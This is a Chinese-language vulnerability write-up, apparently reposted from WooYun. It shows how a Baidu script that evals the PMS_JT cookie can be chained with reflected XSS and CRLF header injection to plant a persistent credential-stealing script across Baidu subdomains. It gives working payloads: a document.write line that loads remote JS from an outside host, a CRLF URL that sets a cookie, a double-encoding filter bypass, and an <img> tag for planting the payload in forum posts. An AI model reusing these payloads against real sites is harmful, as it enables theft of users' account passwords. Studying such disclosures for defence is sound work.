在分析map.baidu.com时发现其代码会eval执行cookie PMS_JT的值

测试

添加PMS_JT的值为alert(1),访问成功执行,确定存在cookie来源的dom xss漏洞,可构造形成xss rookit。
在分析其他百度业务发现,这是一个通用的问题,基本所有的核心业务均存在这个问题。










如何体现危害呢,在http://wooyun.org/bugs/wooyun-2016-0167493已经描述,鉴于此漏洞还未公开
这里再重新验证一遍
先构造让其执行我们远端的js,方便测试。
修改PMS_JT的值为
document.write('<script src="//txt888.sinaapp.com/test.js"></script>')
或者
都可以

成功执行触发
首先要触发此漏洞的前提为能修改cookie的值,有2种漏洞组合可以触发此漏洞。
第一种为利用反射型xss
这里伏宸自动化渗透测试已找到多个baidu.com域下的xss漏洞,拿一个测试一下。
http://m.apistore.baidu.com/astore/mfaqdetail/?tag=0&webTitle=APIStore%E4%BB%8B%E7%BB%8D<img src=1 onerror=alert(1)>
先编写修改cookie js
baidu_test.js
构造访问

成功修改cookie值
打开tieba.baidu.com 成功执行,其他业务也均成功触发

继续构造,目标为窃取用户明文账号密码
首先分析其登录框

执行_.Module.use("common/widget/LoginDialog", ["", "userBar"])时将加载登录框
构造窃取代码
baidu_rookit.js
保存代码
form_save.php

打开登录测试,成功执行弹出登录框


成功截取到密码
使用反射型xss需被攻击者打开攻击链接,成功率与隐蔽性都不够,所以我们使用另一种漏洞来组合
第二种为crlf漏洞
这里伏宸自动化渗透测试平台也找到baidu.com域下多个crlf漏洞,拿一个测试
根据漏洞构造添加cookie测试
访问
http://wenku.baidu.com:80/topic/new/href=/%0aset-cookie:future=123123; domain=.baidu.com; path=/%0aa:

成功设置.baidu.com cookie,根域下所有子域名均可调用,所以只需激活一次,全线产品均可截取
构造加载截取脚本

成功设置,打开tieba.baidu.com 测试

发现无任何反应,为什么呢
再查看

原来//被过滤成/了,导致无法加载我们远端的js
如何绕过呢
我们可以用双重编码的方式绕过
构造
访问


成功加载执行我们的截取代码
因为crlf设置cookie为get请求,我们可以使用所有可以触发get请求的方式进行攻击,例如<img>标签
<img src="http://wenku.baidu.com:80/topic/new/href=/%0aset-cookie:PMS_JT=document.write%28%27%3Cscript%20src%3D%22%252f%252ftxt888.sinaapp.com%2fbaidu_rookit.js%22%3E%3C%2fscript%3E%27%29; domain=.baidu.com; path=/%0aa:">
测试访问

成功设置cookie
也就是说只要能插入访问外部网络资源的地方就可以插入攻击代码(图片,视频,flash等等),在受害者上网过程中不知不觉中就被窃取账号密码。
测试
例如DZ的论坛
发帖或回帖
插入图片,地址填
注:空格都要转换为%20

成功修改cookie

测试登录

成功截取到用户名以及明文密码信息
其不同业务登录框均有细微不同,以上测试截取代码仅为tieba.baidu.com测试,若要全线窃取需编写判断执行不同的窃取代码。
整理:攻击流程,在社交论坛,贴吧,空间等可添加外部资源的地方插入攻击代码(图片),受害者在正常使用论坛查看帖子或其他无意中触发攻击代码,触发后其下次登录百度旗下存在漏洞产品时用户名密码将会被截取发送至攻击者指定的地址中。
严记只要是用户可以控制的变量都是有危害的。
文章来源:已经逝去的乌云,编号:wooyun-2016-0167493
布施恩德可便相知重
微信扫一扫打赏
支付宝扫一扫打赏